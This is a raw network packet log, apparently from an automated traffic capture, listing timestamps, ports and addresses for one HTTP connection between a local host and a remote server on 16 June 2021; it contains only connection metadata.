Jun 16, 2021 11:55:53.419095993 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419130087 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419152975 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419157982 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419183016 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419190884 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419264078 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419276953 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419321060 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.426696062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.657727003 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657783031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657823086 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657849073 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.657860994 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657876015 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.657882929 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.657902956 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.657910109 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657953978 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.657969952 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658010006 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658241034 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658286095 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658315897 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658346891 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658376932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658416986 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658422947 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658454895 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658469915 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658484936 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658492088 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658497095 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658500910 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658502102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658505917 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658545017 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658560991 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658584118 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658602953 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658622980 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658638954 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658663034 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658683062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658699989 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658710003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658740997 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658760071 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658780098 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658818960 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658828974 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658843994 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658871889 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.658890009 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.658932924 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659187078 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659240007 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659274101 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659281015 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659290075 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659320116 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659351110 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659358978 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659373045 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659399033 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659415960 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659436941 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659463882 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659475088 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659477949 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659540892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659601927 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659640074 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659667969 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659687996 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659838915 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.659912109 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.659980059 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660022020 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660053968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660062075 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660084009 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660100937 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660128117 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660139084 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660154104 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660177946 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660198927 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660227060 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660244942 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660269976 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660296917 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660307884 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660331964 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660346985 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660375118 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660397053 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660521984 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660561085 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660598993 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660599947 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660624027 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660638094 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660661936 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660682917 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660692930 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660765886 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660862923 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660902023 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.660940886 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.660967112 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661034107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661073923 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661098957 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661112070 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661119938 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661150932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661174059 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661187887 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661195040 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661250114 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661262035 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661305904 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661325932 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661344051 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661350012 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661382914 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661411047 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661422014 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661427975 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661458969 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661484957 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661498070 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.661504984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.661564112 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.669977903 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670011044 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670041084 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670068979 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670104027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670149088 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670165062 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670166969 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670175076 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670181036 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670188904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670193911 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670221090 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670223951 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670253038 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670263052 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670279980 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670281887 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670310974 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670320034 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670341015 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670341015 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670371056 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670376062 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670407057 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670408010 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670437098 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670443058 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670454979 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670466900 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670495987 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670497894 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670516968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670523882 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670553923 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670566082 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670581102 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670583010 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670614958 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670619011 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670636892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670650005 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670675039 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670680046 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670695066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670707941 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670727968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670737982 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670766115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670768023 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670783997 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670795918 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670809984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670857906 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670882940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670914888 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670943975 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670947075 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670970917 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.670979977 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.670996904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671000004 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671029091 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671030998 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671062946 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671066046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671086073 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671094894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671125889 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671161890 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671163082 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671194077 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671230078 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671238899 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671262026 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671278954 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671292067 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671293020 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671322107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671328068 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671350956 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671364069 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671377897 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671380043 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671407938 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671415091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671436071 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671449900 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671469927 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671471119 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671502113 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671504021 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671531916 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671538115 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671555996 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671561956 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671588898 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671591043 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671618938 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671622992 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671644926 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671648979 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671678066 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671698093 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671713114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671732903 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671744108 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671751022 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671772957 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671802044 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671806097 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671830893 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671835899 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671842098 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671859026 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671874046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671888113 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671892881 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671916008 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671922922 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671951056 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671956062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.671983004 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.671982050 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672010899 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672010899 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672039986 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672043085 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672069073 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672070980 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672096968 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672096968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672126055 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672137976 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672149897 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672157049 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672190905 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672193050 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672213078 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672224998 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672254086 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672255039 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672278881 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672282934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672311068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672312021 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672338963 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672338963 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672368050 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672374964 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672395945 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672400951 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672430992 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672431946 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672462940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672466993 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672492027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672492027 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672519922 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672532082 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672548056 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672569990 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672575951 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672576904 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672605991 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672614098 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672633886 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672652006 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672666073 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672678947 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672693968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672710896 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672739029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672768116 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672770023 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672777891 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672794104 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672796011 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672821999 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672823906 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672852993 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672858953 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672880888 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672880888 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672914982 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672916889 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672936916 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.672946930 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672976017 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.672976017 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673005104 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673010111 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673024893 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673033953 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673062086 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673067093 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673089027 CEST	80	49167	103.155.82.236	192.168.2.22
